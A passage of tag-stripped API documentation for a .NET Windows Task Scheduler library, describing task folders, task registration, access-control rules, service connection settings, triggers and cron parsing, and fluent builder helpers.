algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery 